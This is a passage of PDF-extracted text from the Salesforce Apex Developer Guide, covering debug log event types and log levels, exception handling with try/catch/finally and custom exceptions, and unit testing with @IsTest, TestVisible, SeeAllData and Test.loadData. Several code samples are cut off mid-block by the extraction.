For constructors, this information is logged: line
number and class name.
NAMED_CREDENTIAL_REQUEST Named Credential Id, Named Credential Name, Callout INFO and
Endpoint, Method, External Credential Type, Http above
Header Authorization, Request Size bytes, and Retry
on 401.
If using an outbound network connection, these fields
are also logged: Outbound Network Connection Id,
Outbound Network Connection Name, Outbound
Network Connection Status, Host Type, Host Region,
and Private Connect Outbound Hourly Data Usage
Percent.
NAMED_CREDENTIAL_RESPONSE Truncated section of the response body that’s Callout INFO and
returned from the NamedCredential callout. above
NAMED_CREDENTIAL_RESPONSE_DETAIL Named Credential Id, Named Credential Name, Status Callout FINER and
Code, Response Size bytes, Overall Callout Time ms, above
and Connect Time ms.
If using an outbound network connection, these fields
are also logged: Outbound Network Connection Id,
Outbound Network Connection Name, and Private
Connect Outbound Hourly Data Usage Percent.
NBA_NODE_ERROR Element name, element type, error message NBA ERROR and
above
654
Apex Developer Guide Debugging Apex
POLICY_RULE_DEFINITION_CONDITION_EVALUATION_RESPONSE Condition evaluation response for a policy. Used for Data Access FINER
identifying conditions that match the policy.
POLICY_RULE_EVALUATION_REQUEST Request received for the evaluation of access via the Data Access FINE
policy.
POLICY_RULE_EVALUATION_RESPONSE Response for the evaluation of access via the policy, Data Access FINER
including why access is granted or denied.
POLICY_RULE_EVALUATION_SKIPPED Object for which the policy evaluation is skipped. If Data Access FINER
the policy evaluation is skipped, the user is allowed
access to the object.
POP_TRACE_FLAGS Line number, the Lightning Platform ID of the class System INFO and
or trigger that has its log levels set and that is going above
into scope, the name of this class or trigger, and the
log level settings that are in effect after leaving this
scope
PUSH_NOTIFICATION_INVALID_NOTIFICATION App namespace, app name, service type (Apple or Apex Code ERROR
Android GCM), user ID, device, payload (substring),
payload length.
This event occurs when a notification payload is too
long.
655
Apex Developer Guide Debugging Apex
PUSH_NOTIFICATION_SENT App namespace, app name, service type (Apple or Apex Code DEBUG
Android GCM), user ID, device, payload (substring)
This event records that a notification was accepted
for sending. We don’t guarantee delivery of the
notification.
PUSH_TRACE_FLAGS Line number, the Salesforce ID of the class or trigger System INFO and
that has its log levels set and that is going out of above
scope, the name of this class or trigger, and the log
level settings that are in effect after entering this scope
SLA_END Number of cases, load time, processing time, number Workflow INFO and
of case milestones to insert, update, or delete, and above
new trigger
SOQL_EXECUTE_EXPLAIN Query Plan details for the executed SOQL query. To DB FINEST
get feedback on query performance, see Get Feedback
on Query Performance.
656
Apex Developer Guide Debugging Apex
STACK_FRAME_VARIABLE_LIST Frame number and variable list of the form: Apex FINE and
Variable number | Value. For example: Profiling above
var1:50
var2:'Hello World'
STATIC_VARIABLE_LIST Variable list of the form: Variable number | Apex FINE and
Value. For example: Profiling above
var1:50
var2:'Hello World'
SYSTEM_CONSTRUCTOR_ENTRY Line number and the string <init>() with the System FINE and
types of parameters, if any, between the parentheses above
SYSTEM_CONSTRUCTOR_EXIT Line number and the string <init>() with the System FINE and
types of parameters, if any, between the parentheses above
USER_DEBUG Line number, logging level, and user-supplied string Apex Code DEBUG and
above by
default. If the
user sets the
log level for
657
Apex Developer Guide Debugging Apex
USER_INFO Line number, user ID, username, user timezone, and Apex Code ERROR and
user timezone in GMT above
VARIABLE_ASSIGNMENT Line number, variable name (including the variable’s Apex Code FINEST
namespace, if applicable), a string representation of
the variable’s value, and the variable’s address
VARIABLE_SCOPE_BEGIN Line number, variable name (including the variable’s Apex Code FINEST
namespace, if applicable), type, a value that indicates
whether the variable can be referenced, and a value
that indicates whether the variable is static
VF_APEX_CALL_START Element name, method name, return type, and the Apex Code INFO and
typeRef for the Visualforce controller (for example, above
YourApexClass)
VF_APEX_CALL_END Element name, method name, return type, and the Apex Code INFO and
typeRef for the Visualforce controller (for example, above
YourApexClass)
658
Apex Developer Guide Debugging Apex
WF_ACTION_TASK Task subject, action ID, rule name, rule ID, owner, and Workflow INFO and
due date above
WF_APPROVAL_SUBMITTER Submitter ID, submitter full name, and error message Workflow INFO and
above
WF_CRITERIA_BEGIN EntityName: NameField Id, rule name, rule Workflow INFO and
ID, and (if rule respects trigger types) trigger type and above
recursive count
WF_CRITERIA_END Boolean value indicating success (true or false) Workflow INFO and
above
WF_EMAIL_ALERT Action ID, rule name, and rule ID Workflow INFO and
above
WF_EMAIL_SENT Email template ID, recipients, and CC emails Workflow INFO and
above
659
Apex Developer Guide Debugging Apex
WF_EVAL_ENTRY_CRITERIA Process name, email template ID, and Boolean value Workflow INFO and
indicating result (true or false) above
WF_FLOW_ACTION_DETAIL ID of flow trigger, object type and ID of record whose Workflow FINE and
creation or update caused the workflow rule to fire, above
name and ID of workflow rule, and the names and
values of flow variables
WF_NEXT_APPROVER Owner, next owner type, and field Workflow INFO and
above
WF_OUTBOUND_MSG EntityName: NameField Id, action ID, rule Workflow INFO and
name, and rule ID above
660
Apex Developer Guide Debugging Apex
XDS_DETAIL For OData adapters, the POST body and the name and Callout FINER and
(External object access via cross-org and OData evaluated formula for custom HTTP headers above
adapters for Salesforce Connect)
XDS_RESPONSE External data source, external object, request details, Callout INFO and
(External object access via cross-org and OData number of returned records, and system usage above
adapters for Salesforce Connect)
XDS_RESPONSE_DETAIL Truncated response from the external system, Callout FINER and
(External object access via cross-org and OData including returned records above
adapters for Salesforce Connect)
661
Apex Developer Guide Debugging Apex
SEE ALSO:
Salesforce Help: Debug Log Levels
Salesforce Help: Partition Your Data with Enhanced Security Data Spaces
Salesforce Help: User Access Policies
level LogCategoryLevel Specifies the level of detail returned in the debug log.
Valid log levels are (listed from lowest to highest):
• NONE
• ERROR
• WARN
• INFO
• DEBUG
• FINE
• FINER
• FINEST
662
Apex Developer Guide Debugging Apex
In addition, the following log levels are still supported as part of the DebuggingHeader for backwards compatibility.
DEBUGONLY Includes lower-level messages, and messages generated by calls to the System.debug
method.
DB Includes log messages generated by calls to the System.debug method, and every data
manipulation language (DML) statement or inline SOQL or SOSL query.
PROFILE Includes log messages generated by calls to the System.debug method, every DML
statement or inline SOQL or SOSL query, and the entrance and exit of every user-defined method.
In addition, the end of the debug log contains overall profiling information for the portions of
the request that used the most resources. This profiling information is presented in terms of
SOQL and SOSL statements, DML operations, and Apex method invocations. These three sections
list the locations in the code that consumed the most time, in descending order of total
cumulative time. Also listed is the number of times the categories executed.
CALLOUT Includes the request-response XML that the server is sending and receiving from an external
web service. Useful when debugging issues related to using Lightning Platform web service
API calls or troubleshooting user access to external objects via Salesforce Connect.
DETAIL Includes all messages generated by the PROFILE level and the following.
• Variable declaration statements
• Start of loop executions
• All loop controls, such as break and continue
• Thrown exceptions *
• Static and class initialization code *
• Any changes in the with sharing context
The corresponding output header, DebuggingInfo, contains the resulting debug log. For more information, see DebuggingHeader
in the SOAP API Developer Guide.
Note: Setting class and trigger trace flags doesn’t cause logs to be generated or saved. Class and trigger trace flags override
other logging levels, including logging levels set by user trace flags, but they don’t cause logging to occur. If logging is enabled
when classes or triggers execute, logs are generated at the time of execution.
663
Apex Developer Guide Debugging Apex
2. If you don’t have active trace flags, synchronous and asynchronous Apex tests execute with the default logging levels. Default logging
levels are:
DB
INFO
APEX_CODE
DEBUG
APEX_PROFILING
INFO
WORKFLOW
INFO
VALIDATION
INFO
CALLOUT
INFO
VISUALFORCE
INFO
SYSTEM
DEBUG
3. If no relevant trace flags are active, and no tests are running, your API header sets your logging levels. API requests that are sent
without debugging headers generate transient logs—logs that aren’t saved—unless another logging rule is in effect.
4. If your entry point sets a log level, that log level is used. For example, Visualforce requests can include a debugging parameter that
sets log levels.
If none of these cases apply, logs aren’t generated or persisted.
Exceptions in Apex
Exceptions note errors and other events that disrupt the normal flow of code execution. throw statements are used to generate
exceptions, while try, catch, and finally statements are used to gracefully recover from exceptions.
There are many ways to handle errors in your code, including using assertions like System.assert calls, or returning error codes
or Boolean values, so why use exceptions? The advantage of using exceptions is that they simplify error handling. Exceptions bubble up
from the called method to the caller, as many levels as necessary, until a catch statement is found to handle the error. This bubbling
up relieves you from writing error-handling code in each of your methods. Also, by using finally statements, you have one place
to recover from exceptions, like resetting variables and deleting data.
664
Apex Developer Guide Debugging Apex
Note:
• If duplicate exceptions occur in Apex code that runs synchronously or asynchronously, subsequent exception emails are
suppressed and only the first email is sent. This email suppression prevents flooding of the developer’s inbox with emails about
the same error.
• Emails aren’t sent for exceptions encountered with anonymous Apex executions or with Apex methods accessed by Aura
components and Lightning web components via the @AuraEnabled annotation.
• Apex exception emails are limited to 10 emails per hour, per application server. Because this limit isn’t on a per-org basis, email
delivery to a particular org can be unreliable.
Exception Statements
Exception Handling Example
Learn how exception handling works in Apex.
Built-In Exceptions and Common Methods
Catching Different Exception Types
665
Apex Developer Guide Debugging Apex
Exception Statements
Apex uses exceptions to note errors and other events that disrupt the normal flow of code execution. throw statements can be used
to generate exceptions, while try, catch, and finally can be used to gracefully recover from an exception.
Throw Statements
A throw statement allows you to signal that an error has occurred. To throw an exception, use the throw statement and provide it
with an exception object to provide information about the specific error. For example:
throw exceptionObject;
Try-Catch-Finally Statements
The try, catch, and finally statements can be used to gracefully recover from a thrown exception:
• The try statement identifies a block of code in which an exception can occur.
• The catch statement identifies a block of code that can handle a particular type of exception. A single try statement can have
zero or more associated catch statements. Each catch statement must have a unique exception type. Also, once a particular
exception type is caught in one catch block, the remaining catch blocks, if any, aren’t executed.
• The finally statement identifies a block of code that is guaranteed to execute and allows you to clean up your code. A single
try statement can have up to one associated finally statement. Code in the finally block always executes regardless of
whether an exception was thrown or the type of exception that was thrown. Because the finally block always executes, use it
for cleanup code, such as for freeing up resources.
Syntax
The syntax of the try, catch, and finally statements is as follows.
try {
// Try block
code_block
} catch (exceptionType variableName) {
// Initial catch block.
// At least the catch block or the finally block must be present.
code_block
} catch (Exception e) {
// Optional additional catch statement for other exception types.
// Note that the general exception type, 'Exception',
// must be the last catch block when it is used.
code_block
} finally {
// Finally block.
// At least the catch block or the finally block must be present.
code_block
}
666
Apex Developer Guide Debugging Apex
At least a catch block or a finally block must be present with a try block. The following is the syntax of a try-catch block.
try {
code_block
} catch (exceptionType variableName) {
code_block
}
// Optional additional catch blocks
667
Apex Developer Guide Debugging Apex
To see an exception in action, execute some code that causes a DML exception to be thrown. Execute the following in the Developer
Console:
Merchandise__c m = new Merchandise__c();
insert m;
The insert DML statement in the example causes a DmlException because we’re inserting a merchandise item without setting any
of its required fields. This is the exception error that you see in the debug log.
System.DmlException: Insert failed. First exception on row 0; first error:
REQUIRED_FIELD_MISSING, Required fields are missing: [Description, Price, Total
Inventory]: [Description, Price, Total Inventory]
Next, execute this snippet in the Developer Console. It’s based on the previous example but includes a try-catch block.
try {
Merchandise__c m = new Merchandise__c();
insert m;
} catch(DmlException e) {
System.debug('The following exception has occurred: ' + e.getMessage());
}
Notice that the request status in the Developer Console now reports success. This is because the code handles the exception.
Any statements in the try block occurring after the exception are skipped and aren’t executed. For example, if you add a statement after
insert m;, this statement won’t be executed. Execute the following:
try {
Merchandise__c m = new Merchandise__c();
insert m;
// This doesn't execute since insert causes an exception
System.debug('Statement after insert.');
} catch(DmlException e) {
System.debug('The following exception has occurred: ' + e.getMessage());
}
In the new debug log entry, notice that you don’t see a debug message of Statement after insert. This is because this debug
statement occurs after the exception caused by the insertion and never gets executed. To continue the execution of code statements
after an exception happens, place the statement after the try-catch block. Execute this modified code snippet and notice that the debug
log now has a debug message of Statement after insert.
try {
Merchandise__c m = new Merchandise__c();
insert m;
} catch(DmlException e) {
System.debug('The following exception has occurred: ' + e.getMessage());
}
// This will get executed
System.debug('Statement after insert.');
Alternatively, you can include additional try-catch blocks. This code snippet has the System.debug statement inside a second
try-catch block. Execute it to see that you get the same result as before.
try {
Merchandise__c m = new Merchandise__c();
insert m;
} catch(DmlException e) {
668
Apex Developer Guide Debugging Apex
try {
System.debug('Statement after insert.');
// Insert other records
}
catch (Exception e) {
// Handle this exception here
}
The finally block always executes regardless of what exception is thrown, and even if no exception is thrown. Let’s see it used in action.
Execute the following:
// Declare the variable outside the try-catch block
// so that it will be in scope for all blocks.
XmlStreamWriter w = null;
try {
w = new XmlStreamWriter();
w.writeStartDocument(null, '1.0');
w.writeStartElement(null, 'book', null);
w.writeCharacters('This is my book');
w.writeEndElement();
w.writeEndDocument();
The previous code snippet creates an XML stream writer and adds some XML elements. Next, an exception occurs due to accessing the
null String variable s. The catch block handles this exception. Then the finally block executes. It writes a debug message and closes the
stream writer, which frees any associated resources. Check the debug output in the debug log. You’ll see the debug message Closing
the stream writer in the finally block. after the exception error. This tells you that the finally block executed
after the exception was caught.
SEE ALSO:
Create Custom Exceptions
Salesforce Developers Blog: Error Handling Best Practices for Lightning and Apex
669
Apex Developer Guide Debugging Apex
ListException
Any problem with a list, such as attempting to access an index that is out of bounds.
This example creates a list and adds one element to it. Then, an attempt is made to access two elements, one at index 0, which
exists, and one at index 1, which causes a ListException to be thrown because no element exists at this index. This exception is
caught in the catch block. The System.debug statement in the catch block writes the following to the debug log: The
following exception has occurred: List index out of bounds: 1.
try {
List<Integer> li = new List<Integer>();
li.add(15);
// This list contains only one element,
// but we're attempting to access the second element
// from this zero-based list.
Integer i1 = li[0];
Integer i2 = li[1]; // Causes a ListException
} catch(ListException le) {
System.debug('The following exception has occurred: ' + le.getMessage());
}
NullPointerException
Any problem with dereferencing a null variable.
This example creates a String variable named s but we don’t initialize it to a value, hence, it is null. Calling the contains method
on our null variable causes a NullPointerException. The exception is caught in our catch block and this is what is written to the debug
log: The following exception has occurred: Attempt to de-reference a null object.
try {
String s;
Boolean b = s.contains('abc'); // Causes a NullPointerException
} catch(NullPointerException npe) {
System.debug('The following exception has occurred: ' + npe.getMessage());
}
QueryException
Any problem with SOQL queries, such as assigning a query that returns no records or more than one record to a singleton sObject
variable.
670
Apex Developer Guide Debugging Apex
The second SOQL query in this example causes a QueryException. The example assigns a Merchandise object to what is returned
from the query. Note the use of LIMIT 1 in the query. This ensures that at most one object is returned from the database so we
can assign it to a single object and not a list. However, in this case, we don’t have a Merchandise named XYZ, so nothing is returned,
and the attempt to assign the return value to a single object results in a QueryException. The exception is caught in our catch block
and this is what you’ll see in the debug log: The following exception has occurred: List has no rows
for assignment to SObject.
try {
// This statement doesn't cause an exception, even though
// we don't have a merchandise with name='XYZ'.
// The list will just be empty.
List<Merchandise__c> lm = [SELECT Name FROM Merchandise__c WHERE Name = 'XYZ'];
// lm.size() is 0
System.debug(lm.size());
SObjectException
Any problem with sObject records, such as attempting to change a field in an update statement that can only be changed during
insert.
This example results in an SObjectException in the try block, which is caught in the catch block. The example queries an invoice
statement and selects only its Name field. It then attempts to get the Description__c field on the queried sObject, which isn’t available
because it isn’t in the list of fields queried in the SELECT statement. This results in an SObjectException. This exception is caught in
our catch block and this is what you’ll see in the debug log: The following exception has occurred: SObject
row was retrieved via SOQL without querying the requested field:
Invoice_Statement__c.Description__c.
try {
Invoice_Statement__c inv = new Invoice_Statement__c(
Description__c='New Invoice');
insert inv;
671
Apex Developer Guide Debugging Apex
672
Apex Developer Guide Debugging Apex
This snippet makes use of the DmlException methods to get more information about the exceptions returned when inserting a list of
Merchandise objects. The list of items to insert contains three items, the last two of which don’t have required fields and cause exceptions.
Merchandise__c m1 = new Merchandise__c(
Name='Coffeemaker',
Description__c='Kitchenware',
Price__c=25,
Total_Inventory__c=1000);
// Missing the Price and Total_Inventory fields
Merchandise__c m2 = new Merchandise__c(
Name='Coffeemaker B',
Description__c='Kitchenware');
// Missing all required fields
Merchandise__c m3 = new Merchandise__c();
Merchandise__c[] mList = new List<Merchandise__c>();
mList.add(m1);
mList.add(m2);
mList.add(m3);
try {
insert mList;
} catch (DmlException de) {
Integer numErrors = de.getNumDml();
System.debug('getNumDml=' + numErrors);
for(Integer i=0;i<numErrors;i++) {
System.debug('getDmlFieldNames=' + de.getDmlFieldNames(i));
System.debug('getDmlMessage=' + de.getDmlMessage(i));
}
}
Note how the sample above didn’t include all the initial code in the try block. Only the portion of the code that could generate an
exception is wrapped inside a try block, in this case the insert statement could return a DML exception in case the input data is
not valid. The exception resulting from the insert operation is caught by the catch block that follows it. After executing this
sample, you’ll see an output of System.debug statements similar to the following:
14:01:24:939 USER_DEBUG [20]|DEBUG|getNumDml=2
14:01:24:941 USER_DEBUG [23]|DEBUG|getDmlFieldNames=(Price, Total Inventory)
14:01:24:941 USER_DEBUG [24]|DEBUG|getDmlMessage=Required fields are missing: [Price,
Total Inventory]
14:01:24:942 USER_DEBUG [23]|DEBUG|getDmlFieldNames=(Description, Price, Total Inventory)
14:01:24:942 USER_DEBUG [24]|DEBUG|getDmlMessage=Required fields are missing:
[Description, Price, Total Inventory]
The number of DML failures is correctly reported as two since two items in our list fail insertion. Also, the field names that caused the
failure, and the error message for each failed record is written to the output.
673
Apex Developer Guide Debugging Apex
Alternatively, you can have several catch blocks—a catch block for each exception type, and a final catch block that catches the generic
Exception type. Look at this example. Notice that it has three catch blocks.
try {
Merchandise__c m = [SELECT Name FROM Merchandise__c LIMIT 1];
// Causes an SObjectException because we didn't retrieve
// the Total_Inventory__c field.
Double inventory = m.Total_Inventory__c;
} catch(DmlException e) {
System.debug('DmlException caught: ' + e.getMessage());
} catch(SObjectException e) {
System.debug('SObjectException caught: ' + e.getMessage());
} catch(Exception e) {
System.debug('Exception caught: ' + e.getMessage());
}
Remember that only one catch block gets executed and the remaining ones are bypassed. This example is similar to the previous one,
except that it has a few more catch blocks. When you run this snippet, an SObjectException is thrown on this line: Double inventory
= m.Total_Inventory__c;. Every catch block is examined in the order specified to find a match between the thrown exception
and the exception type specified in the catch block argument:
1. The first catch block argument is of type DmlException, which doesn’t match the thrown exception (SObjectException.)
2. The second catch block argument is of type SObjectException, which matches our exception, so this block gets executed and the
following message is written to the debug log: SObjectException caught: SObject row was retrieved via
SOQL without querying the requested field: Merchandise__c.Total_Inventory__c.
3. The last catch block is ignored since one catch block has already executed.
The last catch block is handy because it catches any exception type, and so catches any exception that was not caught in the previous
catch blocks. Suppose we modified the code above to cause a NullPointerException to be thrown, this exception gets caught in the last
catch block. Execute this modified example. You’ll see the following debug message: Exception caught: Attempt to
de-reference a null object.
try {
String s;
Boolean b = s.contains('abc'); // Causes a NullPointerException
} catch(DmlException e) {
System.debug('DmlException caught: ' + e.getMessage());
} catch(SObjectException e) {
System.debug('SObjectException caught: ' + e.getMessage());
} catch(Exception e) {
674
Apex Developer Guide Debugging Apex
Like Java classes, user-defined exception types can form an inheritance tree, and catch blocks can catch any object in this inheritance
tree. For example:
public class ExceptionExample {
public virtual class BaseException extends Exception {}
public class OtherException extends BaseException {}
Here are some ways you can create your exceptions objects, which you can then throw.
You can construct exceptions:
• With no arguments:
new MyException();
• With a single Exception argument that specifies the cause and that displays in any stack trace:
new MyException(e);
• With both a String error message and a chained exception cause that displays in any stack trace:
new MyException('This is bad', e);
675
Apex Developer Guide Debugging Apex
try {
// Throw first exception
throw new My1Exception('First exception');
} catch (My1Exception e) {
// Throw second exception with the first
// exception variable as the inner exception
throw new My2Exception('Thrown with inner exception', e);
}
This is how the stack trace looks like resulting from running the code above:
15:52:21:073 EXCEPTION_THROWN [7]|My1Exception: First exception
15:52:21:077 EXCEPTION_THROWN [11]|My2Exception: Throw with inner exception
15:52:21:000 FATAL_ERROR AnonymousBlock: line 11, column 1
15:52:21:000 FATAL_ERROR Caused by
15:52:21:000 FATAL_ERROR AnonymousBlock: line 7, column 1
The example in the next section shows how to handle an exception with an inner exception by calling the getCause method.
You’ll use this exception class in the second class that you create. The curly braces at the end enclose the body of your exception
class, which we left empty because we get some free code—our class inherits all the constructors and common exception methods,
such as getMessage, from the built-in Exception class.
676
Apex Developer Guide Debugging Apex
This class contains the mainProcessing method, which calls insertMerchandise. The latter causes an exception by
inserting a Merchandise without required fields. The catch block catches this exception and throws a new exception, the custom
MerchandiseException you created earlier. Notice that we called a constructor for the exception that takes two arguments: the error
message, and the original exception object. You might wonder why we are passing the original exception? Because it is useful
information—when the MerchandiseException gets caught in the first method, mainProcessing, the original exception
(referred to as an inner exception) is really the cause of this exception because it occurred before the MerchandiseException.
3. Now let’s see all this in action to understand better. Execute the following:
MerchandiseUtility.mainProcessing();
4. Check the debug log output. You should see something similar to the following:
18:12:34:928 USER_DEBUG [6]|DEBUG|Message: Merchandise item could not be inserted.
18:12:34:929 USER_DEBUG [7]|DEBUG|Cause: System.DmlException: Insert failed. First
exception on row 0; first error: REQUIRED_FIELD_MISSING, Required fields are missing:
[Description, Price, Total Inventory]: [Description, Price, Total Inventory]
18:12:34:929 USER_DEBUG [8]|DEBUG|Line number: 22
18:12:34:930 USER_DEBUG [9]|DEBUG|Stack trace:
Class.EmployeeUtilityClass.insertMerchandise: line 22, column 1
A few items of interest:
• The cause of MerchandiseException is the DmlException. You can see the DmlException message also that states that required
fields were missing.
• The stack trace is line 22, which is the second time an exception was thrown. It corresponds to the throw statement of
MerchandiseException.
throw new MerchandiseException('Merchandise item could not be inserted.', e);
677
Apex Developer Guide Testing Apex
Testing Apex
Apex provides a testing framework that allows you to write unit tests, run your tests, check test results, and have code coverage results.
Let's talk about unit tests, data visibility for tests, and the tools that are available on the Lightning platform for testing Apex. We'll also
describe testing best practices and a testing example.
Note: To protect the privacy of your data, make sure that test error messages and exception details don’t contain any personal
data. The Apex exception handler and testing framework can’t determine if sensitive data is contained in user-defined messages
and details. To include personal data in custom Apex exceptions, we recommend that you create an Exception subclass with new
properties that hold the personal data. Then, don’t include subclass property information in the exception's message string.
678
Apex Developer Guide Testing Apex
There are two ways of testing an application. One is through the Salesforce user interface, important, but merely testing through the
user interface will not catch all of the use cases for your application. The other way is to test for bulk functionality: up to 200 records can
be passed through your code if it's invoked using SOAP API or by a Visualforce standard set controller.
An application is seldom finished. You will have additional releases of it, where you change and extend functionality. If you have written
comprehensive tests, you can ensure that a regression is not introduced with any new functionality.
Before you can deploy your code or package it for the Salesforce AppExchange, the following must be true.
• Unit tests must cover at least 75% of your Apex code, and all of those tests must complete successfully.
Note the following.
– When deploying Apex to a production organization, each unit test in your organization namespace is executed by default.
– Calls to System.debug aren’t counted as part of Apex code coverage.
– Test methods and test classes aren’t counted as part of Apex code coverage.
– While only 75% of your Apex code must be covered by tests, don’t focus on the percentage of code that is covered. Instead,
make sure that every use case of your application is covered, including positive and negative cases, as well as bulk and single
records. This approach ensures that 75% or more of your code is covered by unit tests.
Note: Conditional and ternary operators are not considered executed unless both the positive and negative branches are executed.
For examples of these types of tests, see Testing Example on page 700.
679
Apex Developer Guide Testing Apex
Use the @IsTest annotation to define classes and methods that only contain code used for testing your application. The @IsTest
annotation can take multiple modifiers within parentheses and separated by blanks.
Note: The @IsTest annotation on methods is equivalent to the testMethod keyword. As best practice, Salesforce
recommends that you use @IsTest rather than testMethod. The testMethod keyword may be versioned out in a future
release.
This example of a test class contains two test methods.
@IsTest
private class MyTestClass {
@IsTest
static void test2() {
// Implement test code
}
Classes and methods defined as @IsTest can be either private or public. The access level of test classes methods doesn’t
matter. You need not add an access modifier when defining a test class or test methods. The default access level in Apex is private. The
testing framework can always find the test methods and execute them, regardless of their access level.
Classes defined as @IsTest must be top-level classes and can't be interfaces or enums.
Methods of a test class can only be called from a test method or code invoked by a test method; non-test requests can’t invoke it.
This example shows a class to be tested and its corresponding test class. It contains two methods and a constructor.
public class TVRemoteControl {
// Volume to be modified
Integer volume;
// Constant for maximum volume value
static final Integer MAX_VOLUME = 50;
680
Apex Developer Guide Testing Apex
// Constructor
public TVRemoteControl(Integer v) {
// Set initial value for volume
volume = v;
}
This example contains the corresponding test class with four test methods. Each method in the previous class is called. Although there’s
sufficient test coverage, the test methods in the test class perform extra testing to verify boundary conditions.
@IsTest
class TVRemoteControlTest {
@IsTest
static void testVolumeIncrease() {
TVRemoteControl rc = new TVRemoteControl(10);
Integer newVolume = rc.increaseVolume(15);
System.assertEquals(25, newVolume);
}
@IsTest
static void testVolumeDecrease() {
TVRemoteControl rc = new TVRemoteControl(20);
Integer newVolume = rc.decreaseVolume(15);
System.assertEquals(5, newVolume);
}
@IsTest
static void testVolumeIncreaseOverMax() {
TVRemoteControl rc = new TVRemoteControl(10);
Integer newVolume = rc.increaseVolume(100);
System.assertEquals(50, newVolume);
}
@IsTest
681
Apex Developer Guide Testing Apex
@IsTest
static void testGetMenuOptions() {
// Static method call. No need to create a class instance.
String menu = TVRemoteControl.getMenuOptions();
System.assertNotEquals(null, menu);
System.assertNotEquals('', menu);
}
}
SEE ALSO:
IsTest Annotation
682
Apex Developer Guide Testing Apex
class. You can either modify the code in your class to expose public methods that will make use of these private class members, or you
can simply annotate these private class members with TestVisible. When you annotate private or protected members with this
annotation, they can be accessed by test methods and only code running in test context.
This example shows how TestVisible is used with private member variables, a private inner class with a constructor, a private
method, and a private custom exception. All these can be accessed in the test class because they’re annotated with TestVisible.
The class is listed first and is followed by a test class containing the test methods.
public class VisibleSampleClass {
// Private member variables
@TestVisible private Integer recordNumber = 0;
@TestVisible private String areaCode = '(415)';
// Public member variable
public Integer maxRecords = 1000;
// Constructor
@TestVisible Employee(String s, String ph) {
fullName = s;
phone = ph;
}
}
// Private method
@TestVisible private String privateMethod(Employee e) {
System.debug('I am private.');
recordNumber++;
String phone = areaCode + ' ' + e.phone;
String s = e.fullName + '\'s phone number is ' + phone;
System.debug(s);
return s;
}
// Public method
public void publicMethod() {
maxRecords++;
System.debug('I am public.');
}
683
Apex Developer Guide Testing Apex
// Verify result
System.assert(
s.contains('(510)') &&
s.contains('Joe Smith') &&
s.contains('555-1212'));
}
// This test method can throw private exception defined in another class
static testmethod void test2() {
// Throw private exception.
try {
throw new VisibleSampleClass.MyException('Thrown from a test.');
} catch(VisibleSampleClass.MyException e) {
// Handle exception
}
}
The TestVisible annotation can be handy when you upgrade the Salesforce API version of existing classes containing mixed test
and non-test code. Because test methods aren’t allowed in non-test classes starting in API version 28.0, you must move the test methods
from the old class into a new test class (a class annotated with isTest) when you upgrade the API version of your class. You might
run into visibility issues when accessing private methods or member variables of the original class. In this case, just annotate these private
members with TestVisible.
684
Apex Developer Guide Testing Apex
By default, existing organization data isn’t visible to test methods, with the exception of certain setup objects. You should create test
data for your test methods whenever possible. However, test code saved against Salesforce API version 23.0 or earlier has access to all
data in the organization. Data visibility for tests is covered in more detail in the next section.
685
Apex Developer Guide Testing Apex
• The IsTest(SeeAllData=true) annotation has no effect when added to Apex code saved using Salesforce API version
23.0 and earlier.
• This access restriction to test data applies to all code running in test context. For example, if a test method causes a trigger to
execute and the test can’t access organization data, the trigger won’t be able to either.
• If a test makes a Visualforce request, the executing test stays in test context but runs in a different thread. Therefore, test data
isolation is no longer enforced. In this case, the test will be able to access all data in the organization after initiating the Visualforce
request. However, if the Visualforce request performs a callback, such as a JavaScript remoting call, any data inserted by the
callback isn’t visible to the test.
• The VLOOKUP validation rule function, in API version 27.0 and earlier, always looks up org data in addition to test data when
fired by a running Apex test. Starting with version 28.0, the VLOOKUP validation rule function no longer accesses organization
data from a running Apex test. The function looks up only data created by the test, unless the test class or method is annotated
with IsTest(SeeAllData=true).
• There can be some cases where you can’t create certain types of data from your test method because of specific limitations.
Here are some examples of such limitations.
– Some standard objects aren’t creatable. For more information on these objects, see the Object Reference for Salesforce.
– For some sObjects that have fields with unique constraints, inserting duplicate sObject records results in an error. For example,
inserting CollaborationGroup sObjects with the same names results in an error because CollaborationGroup records must
have unique names. This error occurs whether your test is annotated with IsTest(SeeAllData=true), or not.
– Records that are created only after related records are committed to the database, like tracked changes in Chatter. Tracked
changes for a record (FeedTrackedChange records) in Chatter feeds aren't available when test methods modify the associated
record. FeedTrackedChange records require the change to the parent record they're associated with to be committed to
the database before they're created. Since test methods don't commit data, they don't result in the creation of
FeedTrackedChange records. Similarly, field history tracking records can't be created in test methods because they require
other sObject records to be committed first. For example, AccountHistory records can’t be created in test methods because
Account records must be committed first.
• When working with data silo Apex tests, Salesforce recommends that you don’t share record IDs between test data and org data,
thereby preventing test data from accessing pre-existing org data.
Warning: By annotating your class with @isTest(SeeAllData=true), you allow test methods to access all org records.
The best practice, however, is to run Apex tests with data silo using @isTest(SeeAllData=false). For data access
considerations in Salesforce API version 23.0 and earlier, see Isolation of Test Data from Organization Data in Unit Tests on page
685.
This example shows how to define a test class with the @IsTest(SeeAllData=true) annotation. All the test methods in this
class have access to all data in the organization.
// All test methods in this class can access all data.
@IsTest(SeeAllData=true)
public class TestDataAccessClass {
686
Apex Developer Guide Testing Apex
// Like the previous method, this test method can also access all data
// because the containing class is annotated with @IsTest(SeeAllData=true).
@IsTest
static void myTestMethod2() {
// Can access all data in the organization.
}
This second example shows how to apply the @IsTest(SeeAllData=true) annotation on a test method. Because the test
method’s class isn’t annotated, you have to annotate the method to enable access to all data for the method. The second test method
doesn’t have this annotation, so it can access only the data it creates. In addition, it can access objects that are used to manage your
organization, such as users.
// This class contains test methods with different data access levels.
@IsTest
private class ClassWithDifferentDataAccess {
687
Apex Developer Guide Testing Apex
The Test.loadData method returns a list of sObjects that correspond to each record inserted.
You must create the static resource prior to calling this method. The static resource is a comma-delimited file ending with a .csv extension.
The file contains field names and values for the test records. The first line of the file must contain the field names and subsequent lines
are the field values. To learn more about static resources, see “Defining Static Resources” in the Salesforce online help.
Once you create a static resource for your .csv file, the static resource will be assigned a MIME type. Supported MIME types are:
• text/csv
• application/vnd.ms-excel
• application/octet-stream
• text/plain
Test.loadData Example
The following are steps for creating a sample .csv file and a static resource, and calling Test.loadData to insert the test records.
1. Create a .csv file that has the data for the test records. This sample .csv file has three account records. You can use this sample content
to create your .csv file.
Name,Website,Phone,BillingStreet,BillingCity,BillingState,BillingPostalCode,BillingCountry
sForceTest1,http://www.sforcetest1.com,(415) 901-7000,The Landmark @ One Market,San
688
Apex Developer Guide Testing Apex
Francisco,CA,94105,US
